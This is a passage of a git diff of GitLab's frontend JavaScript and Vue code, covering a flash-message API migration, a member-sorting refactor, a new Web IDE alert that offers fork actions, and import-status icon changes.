+++ b/app/assets/javascripts/feature_highlight/feature_highlight_popover.vue
@@ -71,7 +71,6 @@ export default {
ref="popover"
:target="$options.targetId"
:css-classes="['feature-highlight-popover']"
- triggers="hover"
container="body"
placement="right"
boundary="viewport"
diff --git a/app/assets/javascripts/filtered_search/dropdown_emoji.js b/app/assets/javascripts/filtered_search/dropdown_emoji.js
index a22430833a3..91af3a6b812 100644
--- a/app/assets/javascripts/filtered_search/dropdown_emoji.js
+++ b/app/assets/javascripts/filtered_search/dropdown_emoji.js
@@ -1,7 +1,7 @@
import { __ } from '~/locale';
import Ajax from '../droplab/plugins/ajax';
import Filter from '../droplab/plugins/filter';
-import { deprecatedCreateFlash as Flash } from '../flash';
+import createFlash from '../flash';
import DropdownUtils from './dropdown_utils';
import FilteredSearchDropdown from './filtered_search_dropdown';
@@ -14,9 +14,9 @@ export default class DropdownEmoji extends FilteredSearchDropdown {
method: 'setData',
loadingTemplate: this.loadingTemplate,
onError() {
- /* eslint-disable no-new */
- new Flash(__('An error occurred fetching the dropdown data.'));
- /* eslint-enable no-new */
+ createFlash({
+ message: __('An error occurred fetching the dropdown data.'),
+ });
},
},
Filter: {
diff --git a/app/assets/javascripts/filtered_search/dropdown_non_user.js b/app/assets/javascripts/filtered_search/dropdown_non_user.js
index 4df1120f169..93051b00756 100644
--- a/app/assets/javascripts/filtered_search/dropdown_non_user.js
+++ b/app/assets/javascripts/filtered_search/dropdown_non_user.js
@@ -1,7 +1,7 @@
import { __ } from '~/locale';
import Ajax from '../droplab/plugins/ajax';
import Filter from '../droplab/plugins/filter';
-import { deprecatedCreateFlash as Flash } from '../flash';
+import createFlash from '../flash';
import DropdownUtils from './dropdown_utils';
import FilteredSearchDropdown from './filtered_search_dropdown';
@@ -17,9 +17,9 @@ export default class DropdownNonUser extends FilteredSearchDropdown {
loadingTemplate: this.loadingTemplate,
preprocessing,
onError() {
- /* eslint-disable no-new */
- new Flash(__('An error occurred fetching the dropdown data.'));
- /* eslint-enable no-new */
+ createFlash({
+ message: __('An error occurred fetching the dropdown data.'),
+ });
},
},
Filter: {
diff --git a/app/assets/javascripts/filtered_search/filtered_search_manager.js b/app/assets/javascripts/filtered_search/filtered_search_manager.js
index 69d19074cd0..d0996c9200b 100644
--- a/app/assets/javascripts/filtered_search/filtered_search_manager.js
+++ b/app/assets/javascripts/filtered_search/filtered_search_manager.js
@@ -10,7 +10,7 @@ import {
DOWN_KEY_CODE,
} from '~/lib/utils/keycodes';
import { __ } from '~/locale';
-import { deprecatedCreateFlash as Flash } from '../flash';
+import createFlash from '../flash';
import { addClassIfElementExists } from '../lib/utils/dom_utils';
import { visitUrl } from '../lib/utils/url_utility';
import FilteredSearchContainer from './container';
@@ -92,8 +92,9 @@ export default class FilteredSearchManager {
.fetch()
.catch((error) => {
if (error.name === 'RecentSearchesServiceError') return undefined;
- // eslint-disable-next-line no-new
- new Flash(__('An error occurred while parsing recent searches'));
+ createFlash({
+ message: __('An error occurred while parsing recent searches'),
+ });
// Gracefully fail to empty array
return [];
})
diff --git a/app/assets/javascripts/flash.js b/app/assets/javascripts/flash.js
index d26a6bc5f6b..2bec39ff4d8 100644
--- a/app/assets/javascripts/flash.js
+++ b/app/assets/javascripts/flash.js
@@ -66,55 +66,6 @@ const removeFlashClickListener = (flashEl, fadeTransition) => {
* along with ability to provide actionConfig which can be used to show
* additional action or link on banner next to message
*
- * @param {String} message Flash message text
- * @param {String} type Type of Flash, it can be `notice`, `success`, `warning` or `alert` (default)
- * @param {Object} parent Reference to parent element under which Flash needs to appear
- * @param {Object} actionConfig Map of config to show action on banner
- * @param {String} href URL to which action config should point to (default: '#')
- * @param {String} title Title of action
- * @param {Function} clickHandler Method to call when action is clicked on
- * @param {Boolean} fadeTransition Boolean to determine whether to fade the alert out
- */
-const deprecatedCreateFlash = function deprecatedCreateFlash(
- message,
- type = FLASH_TYPES.ALERT,
- parent = document,
- actionConfig = null,
- fadeTransition = true,
- addBodyClass = false,
-) {
- const flashContainer = parent.querySelector('.flash-container');
-
- if (!flashContainer) return null;
-
- flashContainer.innerHTML = createFlashEl(message, type);
-
- const flashEl = flashContainer.querySelector(`.flash-${type}`);
-
- if (actionConfig) {
- flashEl.innerHTML += createAction(actionConfig);
-
- if (actionConfig.clickHandler) {
- flashEl
- .querySelector('.flash-action')
- .addEventListener('click', (e) => actionConfig.clickHandler(e));
- }
- }
-
- removeFlashClickListener(flashEl, fadeTransition);
-
- flashContainer.style.display = 'block';
-
- if (addBodyClass) document.body.classList.add('flash-shown');
-
- return flashContainer;
-};
-
-/*
- * Flash banner supports different types of Flash configurations
- * along with ability to provide actionConfig which can be used to show
- * additional action or link on banner next to message
- *
* @param {Object} options Options to control the flash message
* @param {String} options.message Flash message text
* @param {String} options.type Type of Flash, it can be `notice`, `success`, `warning` or `alert` (default)
@@ -166,6 +117,31 @@ const createFlash = function createFlash({
return flashContainer;
};
+/*
+ * Flash banner supports different types of Flash configurations
+ * along with ability to provide actionConfig which can be used to show
+ * additional action or link on banner next to message
+ *
+ * @param {String} message Flash message text
+ * @param {String} type Type of Flash, it can be `notice`, `success`, `warning` or `alert` (default)
+ * @param {Object} parent Reference to parent element under which Flash needs to appear
+ * @param {Object} actionConfig Map of config to show action on banner
+ * @param {String} href URL to which action config should point to (default: '#')
+ * @param {String} title Title of action
+ * @param {Function} clickHandler Method to call when action is clicked on
+ * @param {Boolean} fadeTransition Boolean to determine whether to fade the alert out
+ */
+const deprecatedCreateFlash = function deprecatedCreateFlash(
+ message,
+ type,
+ parent,
+ actionConfig,
+ fadeTransition,
+ addBodyClass,
+) {
+ return createFlash({ message, type, parent, actionConfig, fadeTransition, addBodyClass });
+};
+
export {
createFlash as default,
deprecatedCreateFlash,
diff --git a/app/assets/javascripts/gfm_auto_complete.js b/app/assets/javascripts/gfm_auto_complete.js
index c5ea4cc92fd..22f88b1caa7 100644
--- a/app/assets/javascripts/gfm_auto_complete.js
+++ b/app/assets/javascripts/gfm_auto_complete.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import '~/lib/utils/jquery_at_who';
-import { escape, template } from 'lodash';
+import { escape, sortBy, template } from 'lodash';
import * as Emoji from '~/emoji';
import axios from '~/lib/utils/axios_utils';
import { s__, __, sprintf } from '~/locale';
@@ -325,25 +325,7 @@ class GfmAutoComplete {
return items;
}
- const lowercaseQuery = query.toLowerCase();
- const members = items.slice();
- const { nameOrUsernameStartsWith, nameOrUsernameIncludes } = GfmAutoComplete.Members;
-
- return members.sort((a, b) => {
- if (nameOrUsernameStartsWith(a, lowercaseQuery)) {
- return -1;
- }
- if (nameOrUsernameStartsWith(b, lowercaseQuery)) {
- return 1;
- }
- if (nameOrUsernameIncludes(a, lowercaseQuery)) {
- return -1;
- }
- if (nameOrUsernameIncludes(b, lowercaseQuery)) {
- return 1;
- }
- return 0;
- });
+ return GfmAutoComplete.Members.sort(query, items);
},
},
});
@@ -837,6 +819,15 @@ GfmAutoComplete.Members = {
// `member.search` is a name:username string like `MargeSimpson msimpson`
return member.search.toLowerCase().includes(query);
},
+ sort(query, members) {
+ const lowercaseQuery = query.toLowerCase();
+ const { nameOrUsernameStartsWith, nameOrUsernameIncludes } = GfmAutoComplete.Members;
+
+ return sortBy(members, [
+ (member) => (nameOrUsernameStartsWith(member, lowercaseQuery) ? -1 : 0),
+ (member) => (nameOrUsernameIncludes(member, lowercaseQuery) ? -1 : 0),
+ ]);
+ },
};
GfmAutoComplete.Labels = {
templateFunction(color, title) {
diff --git a/app/assets/javascripts/grafana_integration/components/grafana_integration.vue b/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
index ab13450bb1e..e941318dce0 100644
--- a/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
+++ b/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
@@ -61,7 +61,9 @@ export default {
<template>
<section id="grafana" class="settings no-animate js-grafana-integration">
<div class="settings-header">
- <h4 class="js-section-header">
+ <h4
+ class="js-section-header settings-title js-settings-toggle js-settings-toggle-trigger-only"
+ >
{{ s__('GrafanaIntegration|Grafana authentication') }}
</h4>
<gl-button class="js-settings-toggle">{{ __('Expand') }}</gl-button>
diff --git a/app/assets/javascripts/graphql_shared/constants.js b/app/assets/javascripts/graphql_shared/constants.js
new file mode 100644
index 00000000000..7e897be9e9a
--- /dev/null
+++ b/app/assets/javascripts/graphql_shared/constants.js
@@ -0,0 +1,2 @@
+/* eslint-disable @gitlab/require-i18n-strings */
+export const IssueType = 'Issue';
diff --git a/app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql
deleted file mode 100644
index b5b4ba4e772..00000000000
--- a/app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql
+++ /dev/null
@@ -1,11 +0,0 @@
-fragment EpicNode on Epic {
- id
- iid
- title
- state
- reference
- webPath
- webUrl
- createdAt
- closedAt
-}
diff --git a/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql
new file mode 100644
index 00000000000..0b451262b5a
--- /dev/null
+++ b/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql
@@ -0,0 +1,5 @@
+fragment UserAvailability on User {
+ status {
+ availability
+ }
+}
diff --git a/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql b/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
index aaaaf3485ad..e18eea33041 100644
--- a/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
@@ -1,11 +1,13 @@
#import "../fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
query usersSearch($search: String!, $fullPath: ID!) {
workspace: project(fullPath: $fullPath) {
- users: projectMembers(search: $search) {
+ users: projectMembers(search: $search, relations: [DIRECT, INHERITED, INVITED_GROUPS]) {
nodes {
user {
...User
+ ...UserAvailability
}
}
}
diff --git a/app/assets/javascripts/group.js b/app/assets/javascripts/group.js
index 39c8a88d485..c1fc75fbea6 100644
--- a/app/assets/javascripts/group.js
+++ b/app/assets/javascripts/group.js
@@ -16,9 +16,7 @@ export default class Group {
if (groupName.value === '') {
groupName.addEventListener('keyup', this.updateHandler);
- if (!this.parentId.value) {
- groupName.addEventListener('blur', this.updateGroupPathSlugHandler);
- }
+ groupName.addEventListener('blur', this.updateGroupPathSlugHandler);
}
});
@@ -53,7 +51,7 @@ export default class Group {
const slug = this.groupPaths[0]?.value || slugify(value);
if (!slug) return;
- fetchGroupPathAvailability(slug)
+ fetchGroupPathAvailability(slug, this.parentId?.value)
.then(({ data }) => data)
.then(({ exists, suggests }) => {
if (exists && suggests.length) {
diff --git a/app/assets/javascripts/groups/components/group_item.vue b/app/assets/javascripts/groups/components/group_item.vue
index 9d46fcec09b..f2c608a8912 100644
--- a/app/assets/javascripts/groups/components/group_item.vue
+++ b/app/assets/javascripts/groups/components/group_item.vue
@@ -180,16 +180,12 @@ export default {
<div v-if="isGroupPendingRemoval">
<gl-badge variant="warning">{{ __('pending removal') }}</gl-badge>
</div>
- <div
- class="metadata align-items-md-center d-flex flex-grow-1 flex-shrink-0 flex-wrap justify-content-md-between"
- >
- <item-actions
- v-if="isGroup"
- :group="group"
- :parent-group="parentGroup"
- :action="action"
+ <div class="metadata d-flex flex-grow-1 flex-shrink-0 flex-wrap justify-content-md-between">
+ <item-actions v-if="isGroup" :group="group" :parent-group="parentGroup" />
+ <item-stats
+ :item="group"
+ class="group-stats gl-mt-2 d-none d-md-flex gl-align-items-center"
/>
- <item-stats :item="group" class="group-stats gl-mt-2 d-none d-md-flex" />
</div>
</div>
</div>
diff --git a/app/assets/javascripts/header.js b/app/assets/javascripts/header.js
index 22c648a76a7..4fed7f555f6 100644
--- a/app/assets/javascripts/header.js
+++ b/app/assets/javascripts/header.js
@@ -46,6 +46,7 @@ function initStatusTriggers() {
currentMessage,
currentAvailability,
canSetUserAvailability,
+ currentClearStatusAfter,
} = setStatusModalWrapperEl.dataset;
return {
@@ -54,6 +55,7 @@ function initStatusTriggers() {
currentMessage,
currentAvailability,
canSetUserAvailability,
+ currentClearStatusAfter,
};
},
render(createElement) {
@@ -63,6 +65,7 @@ function initStatusTriggers() {
currentMessage,
currentAvailability,
canSetUserAvailability,
+ currentClearStatusAfter,
} = this;
return createElement(SetStatusModalWrapper, {
@@ -72,6 +75,7 @@ function initStatusTriggers() {
currentMessage,
currentAvailability,
canSetUserAvailability,
+ currentClearStatusAfter,
},
});
},
diff --git a/app/assets/javascripts/ide/components/cannot_push_code_alert.vue b/app/assets/javascripts/ide/components/cannot_push_code_alert.vue
new file mode 100644
index 00000000000..d3e51e6e140
--- /dev/null
+++ b/app/assets/javascripts/ide/components/cannot_push_code_alert.vue
@@ -0,0 +1,40 @@
+<script>
+import { GlAlert, GlButton } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ },
+ props: {
+ message: {
+ type: String,
+ required: true,
+ },
+ action: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ hasAction() {
+ return Boolean(this.action?.href);
+ },
+ actionButtonMethod() {
+ return this.action?.isForm ? 'post' : null;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-alert :dismissible="false">
+ {{ message }}
+ <template v-if="hasAction" #actions>
+ <gl-button variant="confirm" :href="action.href" :data-method="actionButtonMethod">
+ {{ action.text }}
+ </gl-button>
+ </template>
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/ide/components/ide.vue b/app/assets/javascripts/ide/components/ide.vue
index ff2644704d9..0c9fd324f8c 100644
--- a/app/assets/javascripts/ide/components/ide.vue
+++ b/app/assets/javascripts/ide/components/ide.vue
@@ -1,5 +1,5 @@
<script>
-import { GlAlert, GlButton, GlLoadingIcon } from '@gitlab/ui';
+import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import { __ } from '~/locale';
import {
@@ -14,6 +14,7 @@ import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { modalTypes } from '../constants';
import eventHub from '../eventhub';
import { measurePerformance } from '../utils';
+import CannotPushCodeAlert from './cannot_push_code_alert.vue';
import IdeSidebar from './ide_side_bar.vue';
import RepoEditor from './repo_editor.vue';
@@ -29,7 +30,6 @@ export default {
components: {
IdeSidebar,
RepoEditor,
- GlAlert,
GlButton,
GlLoadingIcon,
ErrorMessage: () => import(/* webpackChunkName: 'ide_runtime' */ './error_message.vue'),
@@ -41,6 +41,7 @@ export default {
import(/* webpackChunkName: 'ide_runtime' */ '~/vue_shared/components/file_finder/index.vue'),
RightPane: () => import(/* webpackChunkName: 'ide_runtime' */ './panes/right.vue'),
NewModal: () => import(/* webpackChunkName: 'ide_runtime' */ './new_dropdown/modal.vue'),
+ CannotPushCodeAlert,
},
mixins: [glFeatureFlagsMixin()],
data() {
@@ -120,9 +121,11 @@ export default {
class="ide position-relative d-flex flex-column align-items-stretch"
:class="{ [`theme-${themeName}`]: themeName }"
>
- <gl-alert v-if="!canPushCodeStatus.isAllowed" :dismissible="false">{{
- canPushCodeStatus.message
- }}</gl-alert>
+ <cannot-push-code-alert
+ v-if="!canPushCodeStatus.isAllowed"
+ :message="canPushCodeStatus.message"
+ :action="canPushCodeStatus.action"
+ />
<error-message v-if="errorMessage" :message="errorMessage" />
<div class="ide-view flex-grow d-flex">
<template v-if="loadDeferred">
diff --git a/app/assets/javascripts/ide/components/ide_status_mr.vue b/app/assets/javascripts/ide/components/ide_status_mr.vue
index a3b26d23a17..d05ca4141c8 100644
--- a/app/assets/javascripts/ide/components/ide_status_mr.vue
+++ b/app/assets/javascripts/ide/components/ide_status_mr.vue
@@ -20,7 +20,7 @@ export default {
</script>
<template>
- <div class="d-flex-center flex-nowrap text-nowrap js-ide-status-mr">
+ <div class="d-flex-center gl-flex-nowrap text-nowrap js-ide-status-mr">
<gl-icon name="merge-request" />
<span class="ml-1 d-none d-sm-block">{{ s__('WebIDE|Merge request') }}</span>
<gl-link class="ml-1" :href="url">{{ text }}</gl-link>
diff --git a/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue b/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue
index f4859b9f312..6e1929a1948 100644
--- a/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue
+++ b/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue
@@ -55,6 +55,7 @@ export default {
:disabled="disabled"
class="btn-scroll btn-transparent btn-blank"
type="button"
+ :aria-label="tooltipTitle"
@click="clickedScroll"
>
<gl-icon :name="iconName" />
diff --git a/app/assets/javascripts/ide/components/merge_requests/list.vue b/app/assets/javascripts/ide/components/merge_requests/list.vue
index f7cfe80df5c..829a9d64cb7 100644
--- a/app/assets/javascripts/ide/components/merge_requests/list.vue
+++ b/app/assets/javascripts/ide/components/merge_requests/list.vue
@@ -87,7 +87,7 @@ export default {
@input="searchMergeRequests"
@removeToken="setSearchType(null)"
/>
- <gl-icon :size="18" name="search" class="ml-3 input-icon" use-deprecated-sizes />
+ <gl-icon :size="16" name="search" class="ml-3 input-icon" />
</label>
<div class="dropdown-content ide-merge-requests-dropdown-content d-flex">
<gl-loading-icon
@@ -105,7 +105,7 @@ export default {
@click.stop="setSearchType(searchType)"
>
<span class="d-flex gl-mr-3 ide-search-list-current-icon">
- <gl-icon :size="18" name="search" use-deprecated-sizes />
+ <gl-icon :size="16" name="search" />
</span>
<span>{{ searchType.label }}</span>
</button>
diff --git a/app/assets/javascripts/ide/components/nav_dropdown_button.vue b/app/assets/javascripts/ide/components/nav_dropdown_button.vue
index 0db43123562..3699073adb8 100644
--- a/app/assets/javascripts/ide/components/nav_dropdown_button.vue
+++ b/app/assets/javascripts/ide/components/nav_dropdown_button.vue
@@ -31,12 +31,12 @@ export default {
<template>
<dropdown-button>
- <span class="row flex-nowrap">
+ <span class="row gl-flex-nowrap">
<span class="col-auto flex-fill text-truncate">
<gl-icon :size="16" :aria-label="__('Current Branch')" name="branch" /> {{ branchLabel }}
</span>
<span v-if="showMergeRequests" class="col-5 pl-0 text-truncate">
- <gl-icon :size="16" :aria-label="__('Merge Request')" name="merge-request" />
+ <gl-icon :size="16" :aria-label="__('Merge request')" name="merge-request" />
{{ mergeRequestLabel }}
</span>
</span>
diff --git a/app/assets/javascripts/ide/components/nav_form.vue b/app/assets/javascripts/ide/components/nav_form.vue
index 98f0504298b..750c2c3e215 100644
--- a/app/assets/javascripts/ide/components/nav_form.vue
+++ b/app/assets/javascripts/ide/components/nav_form.vue
@@ -26,7 +26,7 @@ export default {
<gl-tab :title="__('Branches')">
<branches-search-list />
</gl-tab>
- <gl-tab :title="__('Merge Requests')">
+ <gl-tab :title="__('Merge requests')">
<merge-request-search-list />
</gl-tab>
</gl-tabs>
diff --git a/app/assets/javascripts/ide/constants.js b/app/assets/javascripts/ide/constants.js
index 056df3739ee..6304423a3c0 100644
--- a/app/assets/javascripts/ide/constants.js
+++ b/app/assets/javascripts/ide/constants.js
@@ -110,5 +110,5 @@ export const SIDE_RIGHT = 'right';
export const LIVE_PREVIEW_DEBOUNCE = 2000;
// This is the maximum number of files to auto open when opening the Web IDE
-// from a Merge Request
+// from a merge request
export const MAX_MR_FILES_AUTO_OPEN = 10;
diff --git a/app/assets/javascripts/ide/index.js b/app/assets/javascripts/ide/index.js
index f4a0f324e4a..2ce5bf7e271 100644
--- a/app/assets/javascripts/ide/index.js
+++ b/app/assets/javascripts/ide/index.js
@@ -54,6 +54,7 @@ export function initIde(el, options = {}) {
});
this.setLinks({
webIDEHelpPagePath: el.dataset.webIdeHelpPagePath,
+ forkInfo: el.dataset.forkInfo ? JSON.parse(el.dataset.forkInfo) : null,
});
this.setInitialData({
clientsidePreviewEnabled: parseBoolean(el.dataset.clientsidePreviewEnabled),
diff --git a/app/assets/javascripts/ide/lib/editor_options.js b/app/assets/javascripts/ide/lib/editor_options.js
index 9f2a9a8cf4a..52da9942efe 100644
--- a/app/assets/javascripts/ide/lib/editor_options.js
+++ b/app/assets/javascripts/ide/lib/editor_options.js
@@ -7,6 +7,7 @@ export const defaultEditorOptions = {
enabled: false,
},
wordWrap: 'on',
+ glyphMargin: true,
};
export const defaultDiffOptions = {
@@ -21,6 +22,7 @@ export const defaultDiffEditorOptions = {
readOnly: false,
renderLineHighlight: 'none',
hideCursorInOverviewRuler: true,
+ glyphMargin: true,
};
export const defaultModelOptions = {
diff --git a/app/assets/javascripts/ide/lib/languages/README.md b/app/assets/javascripts/ide/lib/languages/README.md
index c4f3de00783..86c5045ec71 100644
--- a/app/assets/javascripts/ide/lib/languages/README.md
+++ b/app/assets/javascripts/ide/lib/languages/README.md
@@ -1,21 +1,21 @@
# Web IDE Languages
-The Web IDE uses the [Monaco editor](https://microsoft.github.io/monaco-editor/) which uses the [Monarch library](https://microsoft.github.io/monaco-editor/monarch.html) for syntax highlighting.
-The Web IDE currently supports all languages defined in the [monaco-languages](https://github.com/microsoft/monaco-languages/tree/master/src) repository.
+The Web IDE uses the [Monaco editor](https://microsoft.github.io/monaco-editor/) which uses the [Monarch library](https://microsoft.github.io/monaco-editor/monarch.html) for syntax highlighting.
+The Web IDE currently supports all languages defined in the [monaco-languages](https://github.com/microsoft/monaco-languages/tree/master/src) repository.
## Adding New Languages
-While Monaco supports a wide variety of languages, there's always the chance that it's missing something.
+While Monaco supports a wide variety of languages, there's always the chance that it's missing something.
You'll find a list of [unsupported languages in this epic](https://gitlab.com/groups/gitlab-org/-/epics/1474), which is the right place to add more if needed.
Should you be willing to help us and add support to GitLab for any missing languages, here are the steps to do so:
1. Create a new issue and add it to [this epic](https://gitlab.com/groups/gitlab-org/-/epics/1474), if it doesn't already exist.
2. Create a new file in this folder called `{languageName}.js`, where `{languageName}` is the name of the language you want to add support for.
-3. Follow the [Monarch documentation](https://microsoft.github.io/monaco-editor/monarch.html) to add a configuration for the new language.
+3. Follow the [Monarch documentation](https://microsoft.github.io/monaco-editor/monarch.html) to add a configuration for the new language.
- Example: The [`vue.js`](./vue.js) file in the current directory adds support for Vue.js Syntax Highlighting.
4. Add tests for the new language implementation in `spec/frontend/ide/lib/languages/{langaugeName}.js`.
- Example: See [`vue_spec.js`](spec/frontend/ide/lib/languages/vue_spec.js).
-5. Create a [Merge Request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html) with your newly added language.
+5. Create a [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html) with your newly added language.
Thank you!
diff --git a/app/assets/javascripts/ide/messages.js b/app/assets/javascripts/ide/messages.js
index 4298d4c627c..189226ef835 100644
--- a/app/assets/javascripts/ide/messages.js
+++ b/app/assets/javascripts/ide/messages.js
@@ -1,10 +1,14 @@
import { s__ } from '~/locale';
-export const MSG_CANNOT_PUSH_CODE = s__(
+export const MSG_CANNOT_PUSH_CODE_SHOULD_FORK = s__(
'WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request.',
);
-export const MSG_CANNOT_PUSH_CODE_SHORT = s__(
+export const MSG_CANNOT_PUSH_CODE_GO_TO_FORK = s__(
+ 'WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request.',
+);
+
+export const MSG_CANNOT_PUSH_CODE = s__(
'WebIDE|You need permission to edit files directly in this project.',
);
@@ -15,3 +19,7 @@ export const MSG_CANNOT_PUSH_UNSIGNED = s__(
export const MSG_CANNOT_PUSH_UNSIGNED_SHORT = s__(
'WebIDE|This project does not accept unsigned commits.',
);
+
+export const MSG_FORK = s__('WebIDE|Fork project');
+
+export const MSG_GO_TO_FORK = s__('WebIDE|Go to fork');
diff --git a/app/assets/javascripts/ide/stores/actions/merge_request.js b/app/assets/javascripts/ide/stores/actions/merge_request.js
index 753f6b9cd47..74423cd7376 100644
--- a/app/assets/javascripts/ide/stores/actions/merge_request.js
+++ b/app/assets/javascripts/ide/stores/actions/merge_request.js
@@ -73,7 +73,7 @@ export const getMergeRequestData = (
actionText: __('Please try again'),
actionPayload: { projectId, mergeRequestId, force },
});
- reject(new Error(`Merge Request not loaded ${projectId}`));
+ reject(new Error(`Merge request not loaded ${projectId}`));
});
} else {
resolve(state.projects[projectId].mergeRequests[mergeRequestId]);
@@ -106,7 +106,7 @@ export const getMergeRequestChanges = (
actionText: __('Please try again'),
actionPayload: { projectId, mergeRequestId, force },
});
- reject(new Error(`Merge Request Changes not loaded ${projectId}`));
+ reject(new Error(`Merge request changes not loaded ${projectId}`));
});
} else {
resolve(state.projects[projectId].mergeRequests[mergeRequestId].changes);
@@ -140,7 +140,7 @@ export const getMergeRequestVersions = (
actionText: __('Please try again'),
actionPayload: { projectId, mergeRequestId, force },
});
- reject(new Error(`Merge Request Versions not loaded ${projectId}`));
+ reject(new Error(`Merge request versions not loaded ${projectId}`));
});
} else {
resolve(state.projects[projectId].mergeRequests[mergeRequestId].versions);
diff --git a/app/assets/javascripts/ide/stores/getters.js b/app/assets/javascripts/ide/stores/getters.js
index a5bb32ec44a..e8b1a0ea494 100644
--- a/app/assets/javascripts/ide/stores/getters.js
+++ b/app/assets/javascripts/ide/stores/getters.js
@@ -11,12 +11,42 @@ import {
} from '../constants';
import {
MSG_CANNOT_PUSH_CODE,
- MSG_CANNOT_PUSH_CODE_SHORT,
+ MSG_CANNOT_PUSH_CODE_SHOULD_FORK,
+ MSG_CANNOT_PUSH_CODE_GO_TO_FORK,
MSG_CANNOT_PUSH_UNSIGNED,
MSG_CANNOT_PUSH_UNSIGNED_SHORT,
+ MSG_FORK,
+ MSG_GO_TO_FORK,
} from '../messages';
import { getChangesCountForFiles, filePathMatches } from './utils';
+const getCannotPushCodeViewModel = (state) => {
+ const { ide_path: idePath, fork_path: forkPath } = state.links.forkInfo || {};
+
+ if (idePath) {
+ return {
+ message: MSG_CANNOT_PUSH_CODE_GO_TO_FORK,
+ action: {
+ href: idePath,
+ text: MSG_GO_TO_FORK,
+ },
+ };
+ } else if (forkPath) {
+ return {
+ message: MSG_CANNOT_PUSH_CODE_SHOULD_FORK,
+ action: {
+ href: forkPath,
+ isForm: true,
+ text: MSG_FORK,
+ },
+ };
+ }
+
+ return {
+ message: MSG_CANNOT_PUSH_CODE,
+ };
+};
+
export const activeFile = (state) => state.openFiles.find((file) => file.active) || null;
export const addedFiles = (state) => state.changedFiles.filter((f) => f.tempFile);
@@ -178,7 +208,7 @@ export const canPushCodeStatus = (state, getters) => {
PUSH_RULE_REJECT_UNSIGNED_COMMITS
];
- if (rejectUnsignedCommits) {
+ if (window.gon?.features?.rejectUnsignedCommitsByGitlab && rejectUnsignedCommits) {
return {
isAllowed: false,
message: MSG_CANNOT_PUSH_UNSIGNED,
@@ -188,8 +218,8 @@ export const canPushCodeStatus = (state, getters) => {
if (!canPushCode) {
return {
isAllowed: false,
- message: MSG_CANNOT_PUSH_CODE,
- messageShort: MSG_CANNOT_PUSH_CODE_SHORT,
+ messageShort: MSG_CANNOT_PUSH_CODE,
+ ...getCannotPushCodeViewModel(state),
};
}
diff --git a/app/assets/javascripts/ide/stores/mutation_types.js b/app/assets/javascripts/ide/stores/mutation_types.js
index 22ff29e8866..76ba8339703 100644
--- a/app/assets/javascripts/ide/stores/mutation_types.js
+++ b/app/assets/javascripts/ide/stores/mutation_types.js
@@ -10,7 +10,7 @@ export const SET_PROJECT = 'SET_PROJECT';
export const SET_CURRENT_PROJECT = 'SET_CURRENT_PROJECT';
export const TOGGLE_EMPTY_STATE = 'TOGGLE_EMPTY_STATE';
-// Merge Request Mutation Types
+// Merge request mutation types
export const SET_MERGE_REQUEST = 'SET_MERGE_REQUEST';
export const SET_CURRENT_MERGE_REQUEST = 'SET_CURRENT_MERGE_REQUEST';
export const SET_MERGE_REQUEST_CHANGES = 'SET_MERGE_REQUEST_CHANGES';
diff --git a/app/assets/javascripts/import_entities/components/import_status.vue b/app/assets/javascripts/import_entities/components/import_status.vue
index 8df51ef7f9b..cc6a057f587 100644
--- a/app/assets/javascripts/import_entities/components/import_status.vue
+++ b/app/assets/javascripts/import_entities/components/import_status.vue
@@ -1,13 +1,11 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
-import CiIcon from '~/vue_shared/components/ci_icon.vue';
+import { GlIcon } from '@gitlab/ui';
import STATUS_MAP from '../constants';
export default {
name: 'ImportStatus',
components: {
- CiIcon,
- GlLoadingIcon,
+ GlIcon,
},
props: {
status: {
@@ -20,28 +18,13 @@ export default {
mappedStatus() {
return STATUS_MAP[this.status];
},
-
- ciIconStatus() {
- const { icon } = this.mappedStatus;
-
- return {
- icon: `status_${icon}`,
- group: icon,
- };
- },
},
};
</script>
<template>
- <div class="gl-display-flex gl-h-7 gl-align-items-center">
- <gl-loading-icon
- v-if="mappedStatus.loadingIcon"
- :inline="true"
- :class="mappedStatus.textClass"
- class="align-middle mr-2"
- />
- <ci-icon v-else css-classes="align-middle mr-2" :status="ciIconStatus" />
- <span :class="mappedStatus.textClass">{{ mappedStatus.text }}</span>
+ <div>
+ <gl-icon :name="mappedStatus.icon" :class="mappedStatus.iconClass" :size="12" class="gl-mr-2" />
+ <span>{{ mappedStatus.text }}</span>
</div>
</template>
diff --git a/app/assets/javascripts/import_entities/constants.js b/app/assets/javascripts/import_entities/constants.js
index c2f398cb8a8..156e92e2d00 100644
--- a/app/assets/javascripts/import_entities/constants.js
+++ b/app/assets/javascripts/import_entities/constants.js
@@ -11,43 +11,43 @@ export const STATUSES = {
STARTED: 'started',
NONE: 'none',
SCHEDULING: 'scheduling',
+ CANCELLED: 'cancelled',
+};
+
+const SCHEDULED_STATUS = {
+ icon: 'status-scheduled',
